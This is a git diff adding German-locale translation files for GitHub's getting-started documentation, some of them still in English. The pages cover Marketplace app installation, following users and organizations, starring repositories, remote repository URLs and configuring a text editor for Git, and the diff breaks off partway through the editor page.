diff --git a/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account.md b/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account.md
new file mode 100644
index 0000000000..29be1c2755
--- /dev/null
+++ b/translations/de-DE/content/get-started/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account.md
@@ -0,0 +1,41 @@
+---
+title: Eine App in Ihrem persönlichen Konto installieren
+intro: 'Du kannst Apps von {% data variables.product.prodname_marketplace %} zur Verwendung in deinem persönlichen Konto installieren.'
+redirect_from:
+  - /articles/installing-an-app-in-your-personal-account
+  - /github/customizing-your-github-workflow/installing-an-app-in-your-personal-account
+  - /github/customizing-your-github-workflow/purchasing-and-installing-apps-in-github-marketplace/installing-an-app-in-your-personal-account
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: Install app personal account
+ms.openlocfilehash: c400db97a6d2e4533d373b8bfadca13e5b6f48f1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880573'
+---
+{% data reusables.marketplace.marketplace-apps-only %}
+
+Wenn Du einen kostenpflichtigen Plan auswählst, bezahlst Du für das App-Abonnement am aktuellen Abrechnungsdatum Deines persönlichen Kontos mit der vorhandenen Zahlungsmethode.
+
+{% data reusables.marketplace.free-trials %}
+
+## Eine {% data variables.product.prodname_github_app %} in Ihrem persönlichen Konto erstellen
+
+{% data reusables.marketplace.visit-marketplace %} {% data reusables.marketplace.browse-to-app %} {% data reusables.marketplace.choose-plan %} {% data reusables.marketplace.install-buy %} {% data reusables.marketplace.confirm-install-account-personal %} {% data reusables.marketplace.add-payment-method-personal %} {% data reusables.marketplace.complete-order-begin-installation %}
+8. Entscheide, ob die App auf alle deine Repositorys zugreifen können soll oder nur auf bestimmte, und wähle dann entsprechend **Alle Repositorys** oder **Nur ausgewählte Repositorys** aus.
+  ![Optionsfelder mit Optionen zur Installation einer App auf allen oder bestimmten Repositorys](/assets/images/help/marketplace/marketplace-choose-repo-install-option.png) {% data reusables.marketplace.select-installation-repos %} {% data reusables.marketplace.review-app-perms-install %}
+
+## Eine {% data variables.product.prodname_oauth_app %} in Ihrem persönlichen Konto installieren
+
+{% data reusables.saml.saml-session-oauth %}
+
+{% data reusables.marketplace.visit-marketplace %} {% data reusables.marketplace.browse-to-app %} {% data reusables.marketplace.choose-plan %} {% data reusables.marketplace.install-buy %} {% data reusables.marketplace.confirm-install-account-personal %} {% data reusables.marketplace.add-payment-method-personal %} {% data reusables.marketplace.complete-order-begin-installation %}
+8. Lies die Informationen zu den Berechtigungen der App zum Zugriff auf dein persönliches Konto und deine Daten, und klicke dann auf **Anwendung autorisieren**.
+
+## Weiterführende Themen
+
+- [Aktualisieren der Zahlungsmethode für Dein persönliches Konto](/articles/updating-your-personal-account-s-payment-method)
+- [Installieren einer App in deiner Organisation](/articles/installing-an-app-in-your-organization)
diff --git a/translations/de-DE/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md b/translations/de-DE/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
new file mode 100644
index 0000000000..d46262cbb0
--- /dev/null
+++ b/translations/de-DE/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
@@ -0,0 +1,56 @@
+---
+title: Finding ways to contribute to open source on GitHub
+intro: 'You can find ways to contribute to open source projects on {% data variables.location.product_location %} that are relevant to you.'
+permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
+redirect_from:
+  - /articles/where-can-i-find-open-source-projects-to-work-on
+  - /articles/finding-interesting-projects-on-github
+  - /articles/about-official-github-mirrors
+  - /articles/about-github-mirrors
+  - /articles/finding-open-source-projects-on-github
+  - /github/getting-started-with-github/finding-open-source-projects-on-github
+  - /github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github
+  - /github/getting-started-with-github/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Open Source
+shortTitle: Contribute to open source
+---
+## Discovering relevant projects
+
+If there's a particular topic that interests you, visit `github.com/topics/<topic>`. For example, if you are interested in machine learning, you can find relevant projects and good first issues by visiting https://github.com/topics/machine-learning. You can browse popular topics by visiting [Topics](https://github.com/topics). You can also search for repositories that match a topic you're interested in. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)."
+
+If you've been active on {% data variables.location.product_location %}, you can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore](https://github.com/explore). You can also sign up for the Explore newsletter to receive emails about opportunities to contribute to {% data variables.product.product_name %} based on your interests. To sign up, see [Explore email newsletter](https://github.com/explore/subscribe).
+
+Keep up with recent activity from repositories you watch, as well as people and organizations you follow, with your personal dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+
+{% data reusables.support.ask-and-answer-forum %}
+
+## Finding good first issues
+
+If you already know what project you want to work on, you can find beginner-friendly issues in that repository by visiting `github.com/<owner>/<repository>/contribute`. For an example, you can find ways to make your first contribution to `electron/electron` at https://github.com/electron/electron/contribute.
+
+## Opening an issue
+
+If you encounter a bug in an open source project, check if the bug has already been reported. If the bug has not been reported, you can open an issue to report the bug according to the project's contribution guidelines.
+
+## Validating an issue or pull request
+
+There are a variety of ways that you can contribute to open source projects.
+
+### Reproducing a reported bug
+You can contribute to an open source project by validating an issue or adding additional context to an existing issue. 
+
+### Testing a pull request
+You can contribute to an open source project by merging a pull request into your local copy of the project and testing the changes. Add the outcome of your testing in a comment on the pull request.
+
+### Updating issues
+You can contribute to an open source project by adding additional information to existing issues.
+
+
+## Further reading
+
+- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
+- "[About your organization dashboard](/articles/about-your-organization-dashboard)"
diff --git a/translations/de-DE/content/get-started/exploring-projects-on-github/following-organizations.md b/translations/de-DE/content/get-started/exploring-projects-on-github/following-organizations.md
new file mode 100644
index 0000000000..cac0a1e4a5
--- /dev/null
+++ b/translations/de-DE/content/get-started/exploring-projects-on-github/following-organizations.md
@@ -0,0 +1,50 @@
+---
+title: Folgen von Organisationen
+intro: 'Du kannst Organisationen auf {% data variables.product.product_name %} folgen, um Benachrichtigungen über ihre Aktivität zu erhalten.'
+versions:
+  feature: for-you-feed
+topics:
+  - Profile
+ms.openlocfilehash: 61cfc1762a7ff281bbebb37435317aaef39ddf01
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147692121'
+---
+{% data reusables.organizations.follow-organizations-beta %}
+
+## Informationen zu Followern auf {% data variables.product.product_name %}
+
+{% data reusables.organizations.about-following-organizations %} Weitere Informationen findest du unter [Informationen zu deinem persönlichen Dashboard](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community).
+
+Du kannst das Folgen einer Organisation beenden, wenn du ihre {% ifversion fpt or ghec %}öffentlichen{% endif %} Aktivitäten auf {% data variables.product.product_name %} nicht mehr sehen möchtest.
+
+## Folgen einer Organisation auf {% data variables.product.product_name %}
+
+1. Wechsle zur Seite der Organisation, der du folgen möchtest.
+2. Klicke in der rechten oberen Ecke der Kopfzeile auf **Folgen**.
+
+  ![Screenshot der Organisationskopfzeile mit hervorgehobener Schaltfläche „Folgen“](/assets/images/help/profile/organization-profile-following.png)
+
+## Beenden des Folgens einer Organisation auf {% data variables.product.product_name %}
+
+1. Wechsle zur Seite der Organisation, der du nicht mehr folgen möchtest.
+2. Klicke in der rechten oberen Ecke der Kopfzeile auf **Nicht mehr folgen**.
+
+  ![Screenshot der Organisationskopfzeile mit hervorgehobener Schaltfläche „Nicht mehr folgen“](/assets/images/help/profile/organization-profile-unfollowing.png)
+
+## Anzeigen von Personen und Organisationen, denen ein Benutzer auf {% data variables.product.product_name %} folgt
+
+1. Klicke auf das Bild eines Benutzers, um dessen Profil anzuzeigen.
+
+  ![Benutzerbild](/assets/images/help/profile/user-profile-image.png)
+
+2. Klicke unter dem Profilbild auf **Following**.
+
+  ![Benutzer folgen](/assets/images/help/profile/user-profile-following.png)
+
+{% ifversion fpt or ghec %}
+## Weitere Informationsquellen
+
+- [Follower](/get-started/exploring-projects-on-github/following-people) {% endif %}
diff --git a/translations/de-DE/content/get-started/exploring-projects-on-github/following-people.md b/translations/de-DE/content/get-started/exploring-projects-on-github/following-people.md
new file mode 100644
index 0000000000..4c80559eb2
--- /dev/null
+++ b/translations/de-DE/content/get-started/exploring-projects-on-github/following-people.md
@@ -0,0 +1,75 @@
+---
+title: Jemandem folgen
+intro: 'Du kannst Personen auf {% data variables.product.product_name %} folgen, um Benachrichtigungen über ihre Aktivitäten zu erhalten{% ifversion fpt or ghec %} und Projekte in ihren Communitys zu entdecken{% endif %}.'
+permissions: '{% data reusables.enterprise-accounts.emu-permission-follow %}'
+redirect_from:
+  - /articles/following-people
+  - /github/getting-started-with-github/following-people
+  - /github/getting-started-with-github/exploring-projects-on-github/following-people
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profile
+ms.openlocfilehash: 2ec3672f4dbcc2b1e4b643ef71659876e2033c30
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880581'
+---
+## Informationen zu Followern auf {% data variables.product.product_name %}
+
+Wenn du Personen folgst, siehst du ihre öffentliche Aktivität in deinem persönlichen Dashboard.{% ifversion fpt or ghec %} Wenn jemand, dem du folgst, ein öffentliches Repository mit einem Stern versieht, wird dir das Repository u. U. von {% data variables.product.product_name %} empfohlen.{% endif %} Weitere Informationen findest du unter „[Informationen zum persönlichen Dashboard](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community)“.
+
+Wenn du auf {% data variables.product.product_name %} nicht mehr über die öffentlichen Aktivitäten einer Person informiert werden möchtest, hast du die Möglichkeit, ihr nicht mehr zu folgen.
+
+## Einem Benutzer auf {% data variables.product.product_name %} folgen
+
+1. Klicke auf das Bild eines Benutzers, um dessen Profil anzuzeigen.
+
+  ![Benutzerbild](/assets/images/help/profile/user-profile-image.png)
+
+2. Klicke unter dem Profilbild auf **Follow**.
+
+  ![Schaltfläche „Follow User" (Benutzer folgen)](/assets/images/help/profile/follow-user-button.png)
+
+## Einem Benutzer auf {% data variables.product.product_name %} nicht mehr folgen
+
+1.  Klicke auf das Bild eines Benutzers, um dessen Profil anzuzeigen.
+
+  ![Benutzerbild](/assets/images/help/profile/user-profile-image.png)
+
+2.  Klicke unter dem Profilbild auf **Unfollow**.
+
+  ![Schaltfläche „User profile“](/assets/images/help/profile/user-profile-unfollow-button.png)
+
+## Benutzer, denen du folgst, auf {% data variables.product.product_name %} anzeigen
+
+1. Klicke auf das Bild eines Benutzers, um dessen Profil anzuzeigen.
+
+  ![Benutzerbild](/assets/images/help/profile/user-profile-image.png)
+
+2. Klicke unter dem Profilbild auf **Following**.
+
+  ![Benutzer folgen](/assets/images/help/profile/user-profile-following.png)
+
+## Follower auf {% data variables.product.product_name %} anzeigen
+
+1. Klicke auf das Bild eines Benutzers, um dessen Profil anzuzeigen.
+
+  ![Benutzerbild](/assets/images/help/profile/user-profile-image.png)
+
+2. Klicke unter dem Profilbild auf **Followers**.
+
+  ![Benutzer folgen](/assets/images/help/profile/user-profile-followers.png)
+
+
+
+{% ifversion fpt or ghec %}
+## Weitere Informationsquellen
+
+- [Repositorys mit Sternen speichern](/articles/saving-repositories-with-stars/)
+- [Beitragen zu Open Source-Projekten auf {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github) {% endif %}
diff --git a/translations/de-DE/content/get-started/exploring-projects-on-github/index.md b/translations/de-DE/content/get-started/exploring-projects-on-github/index.md
new file mode 100644
index 0000000000..40b1f4c5dd
--- /dev/null
+++ b/translations/de-DE/content/get-started/exploring-projects-on-github/index.md
@@ -0,0 +1,30 @@
+---
+title: Exploring projects on GitHub (Untersuchen von Projekten auf GitHub)
+intro: 'Entdecke interessante Projekte auf {% data variables.product.product_name %} und trage durch die Zusammenarbeit mit anderen zu Open Source bei.'
+redirect_from:
+  - /categories/stars
+  - /categories/87/articles
+  - /categories/exploring-projects-on-github
+  - /articles/exploring-projects-on-github
+  - /github/getting-started-with-github/exploring-projects-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Projects
+children:
+  - /finding-ways-to-contribute-to-open-source-on-github
+  - /saving-repositories-with-stars
+  - /following-people
+  - /following-organizations
+shortTitle: Explore projects
+ms.openlocfilehash: f2f835e68e6146d34691bb21b7ea2b8ff08673ba
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145102632'
+---
+
diff --git a/translations/de-DE/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md b/translations/de-DE/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
new file mode 100644
index 0000000000..062baae307
--- /dev/null
+++ b/translations/de-DE/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
@@ -0,0 +1,144 @@
+---
+title: Repositorys mit Sternen speichern
+intro: 'Du kannst Repositorys und Themen verwenden, um Projekte nachzuverfolgen, die du interessant findest{% ifversion fpt or ghec %} und verwandte Inhalte in deinem Newsfeed erkunden{% endif %}.'
+redirect_from:
+  - /articles/stars
+  - /articles/about-stars
+  - /articles/browsing-friends-stars
+  - /articles/managing-your-stars
+  - /articles/saving-repositories-with-stars
+  - /github/getting-started-with-github/saving-repositories-with-stars
+  - /github/getting-started-with-github/exploring-projects-on-github/saving-repositories-with-stars
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Save repos with stars
+ms.openlocfilehash: 2a5a167884e10f40d5501b3e84ebc158fe2487b3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146374179'
+---
+Du kannst mit Stern versehene Repositorys und Themen auf der Seite {% data variables.explore.your_stars_page %} durchsuchen, sortieren und filtern.
+
+## Informationen zu Sternen
+
+Mit Stern zu versehen macht es einfacher, Repositorys oder Themen später wieder zu finden. Du kannst alle Repositorys und Themen, die du mit Stern versehen hast, auf deiner {% data variables.explore.your_stars_page %} sehen.
+
+{% ifversion fpt or ghec %} Du kannst Repositorys und Themen mit einem Stern markieren, um ähnliche Projekte auf {% data variables.product.product_name %} zu finden. Wenn du Repositorys oder Themen mit Stern versiehst, empfiehlt {% data variables.product.product_name %} möglicherweise ähnliche Inhalte auf deinem persönlichen Dashboard. Weitere Informationen findest du unter [Beitragen zu Open-Source-Projekten auf {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github) und [Informationen zum persönlichen Dashboard](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#staying-updated-with-activity-from-the-community).
+{% endif %}
+
+Mit der Auszeichnung durch einen Stern zeigst du dem Repository-Betreuer auch deine Wertschätzung für seine Arbeit. Verschiedene Repository-Rankings von {% data variables.product.prodname_dotcom %} basieren auf der Anzahl der Sterne, die für ein Repository vergeben wurden. Darüber hinaus werden unter [Entdecken](https://github.com/explore) beliebte Repositorys basierend auf der Anzahl der Sterne aufgeführt.
+
+## Versehen eines Repositorys mit einem Stern
+
+Das Versehen eines Repositorys mit einem ist ein einfacher Vorgang, der aus zwei Schritten besteht.
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Klicke in der oberen rechte Ecke der Seite auf **Stern vergeben**.
+![Versehen eines Repositorys mit einem Stern](/assets/images/help/stars/starring-a-repository.png)
+1. Du kannst einen Stern auch wieder entfernen, indem du im Repository auf **Stern entfernen** klickst.
+![Entfernen eines Sterns für ein Repository](/assets/images/help/stars/unstarring-a-repository.png)
+
+{% ifversion fpt or ghec %}
+
+## Anzeigen, wer ein Repository mit einem Stern markiert hat
+
+
+Du kannst alle Benutzer*innen anzeigen, die ein öffentliches oder privates Repository, auf das du Zugriff hast, mit einem Stern markiert haben. 
+
+
+Um alle anzuzeigen, die ein Repository mit einem Stern markiert haben, füge dem Ende der URL eines Repositorys `/stargazers` hinzu. Um z. B. Stargazers für das Github/Docs-Repository anzuzeigen, rufe https://github.com/github/docs/stargazers auf.
+
+
+## Organisieren von Repositorys mit Sternen anhand von Listen
+
+{% note %}
+
+**Hinweis:** Listen befinden sich derzeit in der öffentlichen Betaversion. Änderungen sind vorbehalten.
+
+{% endnote %}
+
+Mit öffentlichen Listen kannst du Repositorys mit Stern zusammenstellen. Du kannst öffentliche Listen erstellen, die unter `https://github.com/USERNAME?tab=stars` auf deiner Sterneseite angezeigt werden.
+
+Wenn du ein privates Repository zu einer Liste hinzufügst, wird dieses nur Benutzer*innen mit `read`-Zugriff auf das Repository angezeigt.
+
+![Screenshot der Listen auf der Sterneseite](/assets/images/help/stars/lists-overview-on-stars-page.png)
+
+Du kannst ein Repository über das Dropdownmenü **Stern vergeben** oder **Mit Stern** auf der Repositoryseite oder der Liste der Repositorys mit Stern zu einer vorhandenen oder neuen Liste hinzufügen. 
+
+![Screenshot: Dropdownmenü „Stern vergeben“ mit Listenoptionen über die Repositoryseite](/assets/images/help/stars/stars-dropdown-on-repo.png)
+
+![Screenshot: Dropdownmenü „Mit Stern“ mit Listenoptionen über eine Liste mit Repositorys mit Stern](/assets/images/help/stars/add-repo-to-list.png)
+
+### Erstellen einer Liste
+
+{% data reusables.stars.stars-page-navigation %}
+2. Klicke neben „Listen“ auf **Liste erstellen**.
+  ![Screenshot der Schaltfläche „Liste erstellen“](/assets/images/help/stars/create-list.png)
+3. Gib einen Namen und eine Beschreibung für deine Liste ein, und klicke auf **Erstellen**.
+  ![Screenshot: Modales Fenster mit Eingabefeld für Name und Beschreibung und der Schaltfläche „Erstellen“](/assets/images/help/stars/create-list-with-description.png)
+
+### Hinzufügen eines Repositorys zu einer Liste
+
+{% data reusables.stars.stars-page-navigation %}
+2. Suche das Repository, das du deiner Liste hinzufügen möchtest.
+  ![Screenshot: Suchleiste für Repositorys mit Stern](/assets/images/help/stars/search-bar-for-starred-repos.png)
+3. Wähle über das Dropdownmenü **Mit Stern** neben dem hinzuzufügenden Repository deine Liste aus.
+  ![Screenshot: Dropdownmenü mit Kontrollkästchen für Listen](/assets/images/help/stars/add-repo-to-list.png)
+
+### Entfernen eines Repositorys aus deiner Liste
+
+{% data reusables.stars.stars-page-navigation %}
+2. Wähle deine Liste aus.
+3. Wähle über das Dropdownmenü **Mit Stern** neben dem entfernenden Repository deine Liste ab.
+  ![Screenshot: Dropdownmenü mit Kontrollkästchen für Listen](/assets/images/help/stars/add-repo-to-list.png)
+
+### Bearbeiten des Namens oder der Beschreibung einer Liste
+
+{% data reusables.stars.stars-page-navigation %}
+1. Wähle die Liste aus, die du bearbeiten möchtest.
+2. Klicke auf **Liste bearbeiten**.
+3. Aktualisiere den Namen oder die Beschreibung, und klicke auf **Liste speichern**.
+  ![Screenshot: Modales Fenster mit Schaltfläche „Liste speichern“](/assets/images/help/stars/edit-list-options.png) 
+
+### Löschen einer Liste
+
+{% data reusables.stars.stars-page-navigation %}
+2. Wähle die Liste aus, die du löschen möchtest.
+3. Klicke auf **Liste löschen**.
+  ![Screenshot: Modales Fenster mit Schaltfläche „Liste löschen“](/assets/images/help/stars/edit-list-options.png)
+4. Klicke auf **Löschen**, um den Vorgang zu bestätigen.
+
+{% endif %}
+
+## Durchsuchen von Repositorys und Themen mit Stern
+
+Du kannst die Suchleiste auf deiner {% data variables.explore.your_stars_page %} verwenden, um Repositorys und Themen mit Stern schnell zu finden. 
+
+1. Wechsle zu deiner {% data variables.explore.your_stars_page %}.
+1. Verwende die Suchleiste, um Repositorys oder Themen mit Stern anhand des Namens zu finden.
+![Durchsuchen von Sternen](/assets/images/help/stars/stars_search_bar.png)
+
+Die Suchleiste sucht nur nach dem Namen eines Repositorys oder Themas, und nicht mit anderen Suchkriterien (wie der Größe des Repository oder wenn es zuletzt aktualisiert wurde).
+
+## Sortieren und Filtern von Sternen auf deiner Sterneseite
+
+Du kannst die Sortierung oder Filterung verwenden, um die Darstellung von Repositorys und Themen mit Stern auf der Sterneseite anzupassen.
+
+1. Wechsle zu deiner {% data variables.explore.your_stars_page %}.
+1. Um die Sterne zu sortieren, wähle das Dropdownmenü **Sortieren** und dann **Neueste Sterne**, **Zuletzt aktiv** oder **Meiste Sterne** aus.
+![Sortieren von Sternen](/assets/images/help/stars/stars_sort_menu.png)
+1. Um deine Liste der Sterne nach Sprache zu filtern, klicke unter **Nach Sprache filtern** auf die gewünschte Sprache.
+![Filtern von Sternen nach Sprache](/assets/images/help/stars/stars_filter_language.png)
+1. Um deine Liste der Sterne nach Repository oder Thema zu filtern, klicke auf die gewünschte Option.
+![Filtern von Sternen nach Thema](/assets/images/help/stars/stars_filter_topic.png)
+
+## Weiterführende Themen
+
+- [Klassifizieren deines Repositorys mit Themen](/articles/classifying-your-repository-with-topics)
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/about-remote-repositories.md b/translations/de-DE/content/get-started/getting-started-with-git/about-remote-repositories.md
new file mode 100644
index 0000000000..c1276038d8
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/about-remote-repositories.md
@@ -0,0 +1,94 @@
+---
+title: About remote repositories
+redirect_from:
+  - /articles/working-when-github-goes-down
+  - /articles/sharing-repositories-without-github
+  - /articles/about-remote-repositories
+  - /articles/which-url-should-i-use
+  - /articles/which-remote-url-should-i-use
+  - /github/using-git/which-remote-url-should-i-use
+  - /github/using-git/about-remote-repositories
+  - /github/getting-started-with-github/about-remote-repositories
+  - /github/getting-started-with-github/getting-started-with-git/about-remote-repositories
+intro: 'GitHub''s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+## About remote repositories
+
+A remote URL is Git's fancy way of saying "the place where your code is stored." That URL could be your repository on GitHub, or another user's fork, or even on a completely different server.
+
+You can only push to two types of URL addresses:
+
+* An HTTPS URL like `https://{% data variables.command_line.backticks %}/user/repo.git`
+* An SSH URL, like `git@{% data variables.command_line.backticks %}:user/repo.git`
+
+Git associates a remote URL with a name, and your default remote is usually called `origin`.
+
+## Creating remote repositories
+
+You can use the `git remote add` command to match a remote URL with a name.
+For example, you'd type the following in the command line:
+
+```shell
+git remote add origin &lt;REMOTE_URL>
+```
+
+This associates the name `origin` with the `REMOTE_URL`.
+
+You can use the command `git remote set-url` to [change a remote's URL](/get-started/getting-started-with-git/managing-remote-repositories).
+
+## Choosing a URL for your remote repository
+
+There are several ways to clone repositories available on {% data variables.location.product_location %}.
+
+When you view a repository while signed in to your account, the URLs you can use to clone the project onto your computer are available below the repository details.
+
+For information on setting or changing your remote URL, see "[Managing remote repositories](/get-started/getting-started-with-git/managing-remote-repositories)."
+
+## Cloning with HTTPS URLs
+
+The `https://` clone URLs are available on all repositories, regardless of visibility. `https://` clone URLs work even if you are behind a firewall or proxy.
+
+When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using HTTPS URLs on the command line, Git will ask for your {% data variables.product.product_name %} username and password. {% data reusables.user-settings.password-authentication-deprecation %}
+
+{% data reusables.command_line.provide-an-access-token %}
+
+{% tip %}
+
+**Tips**:
+- You can use a credential helper so Git will remember your {% data variables.product.prodname_dotcom %} credentials every time it talks to {% data variables.product.prodname_dotcom %}. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+- To clone a repository without authenticating to {% data variables.product.product_name %} on the command line, you can use {% data variables.product.prodname_desktop %} to clone instead. For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)."
+
+{% endtip %}
+
+ {% ifversion fpt or ghec %}If you'd rather use SSH but cannot connect over port 22, you might be able to use SSH over the HTTPS port. For more information, see "[Using SSH over the HTTPS port](/github/authenticating-to-github/using-ssh-over-the-https-port)."{% endif %}
+
+## Cloning with SSH URLs
+
+SSH URLs provide access to a Git repository via SSH, a secure protocol. To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/github/authenticating-to-github/connecting-to-github-with-ssh)."
+
+When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using SSH URLs, you'll be prompted for a password and must provide your SSH key passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+
+{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML single sign-on (SSO), you must authorize your SSH key to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+
+{% tip %}
+
+**Tip**: You can use an SSH URL to clone a repository to your computer, or as a secure way of deploying your code to production servers. You can also use SSH agent forwarding with your deploy script to avoid managing keys on the server. For more information, see "[Using SSH Agent Forwarding](/developers/overview/using-ssh-agent-forwarding)."
+
+{% endtip %}
+
+## Cloning with {% data variables.product.prodname_cli %}
+
+You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.product_name %} workflows in your terminal. For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+
+{% ifversion not ghae %}
+## Cloning with Subversion
+
+You can also use a [Subversion](https://subversion.apache.org/) client to access any repository on {% data variables.product.prodname_dotcom %}. Subversion offers a different feature set than Git. For more information, see "[What are the differences between Subversion and Git?](/github/importing-your-projects-to-github/what-are-the-differences-between-subversion-and-git)"
+
+You can also access repositories on {% data variables.product.prodname_dotcom %} from Subversion clients. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)."
+{% endif %}
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/associating-text-editors-with-git.md b/translations/de-DE/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
new file mode 100644
index 0000000000..37d6192f7a
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/associating-text-editors-with-git.md
@@ -0,0 +1,100 @@
+---
+title: Associating text editors with Git
+intro: Use a text editor to open and edit your files with Git.
+redirect_from:
+  - /textmate
+  - /articles/using-textmate-as-your-default-editor
+  - /articles/using-sublime-text-2-as-your-default-editor
+  - /articles/associating-text-editors-with-git
+  - /github/using-git/associating-text-editors-with-git
+  - /github/getting-started-with-github/associating-text-editors-with-git
+  - /github/getting-started-with-github/getting-started-with-git/associating-text-editors-with-git
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Associate text editors
+---
+{% mac %}
+
+## Using {% data variables.product.prodname_vscode %} as your editor
+
+1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see "[Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Type this command:
+  ```shell
+  $ git config --global core.editor "code --wait"
+ ```
+
+## Using Sublime Text as your editor
+
+1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see "[Installation](https://docs.sublimetext.io/guide/getting-started/installation.html)" in the Sublime Text documentation.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Type this command:
+  ```shell
+  $ git config --global core.editor "subl -n -w"
+  ```
+
+## Using TextMate as your editor
+
+1. Install [TextMate](https://macromates.com/).
+2. Install TextMate's `mate` shell utility. For more information, see "[`mate` and `rmate`](https://macromates.com/blog/2011/mate-and-rmate/)" in the TextMate documentation.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+4. Type this command:
+  ```shell
+  $ git config --global core.editor "mate -w"
+  ```
+{% endmac %}
+
+{% windows %}
+
+## Using {% data variables.product.prodname_vscode %} as your editor
+
+1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see "[Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Type this command:
+  ```shell
+  $ git config --global core.editor "code --wait"
+ ```
+
+## Using Sublime Text as your editor
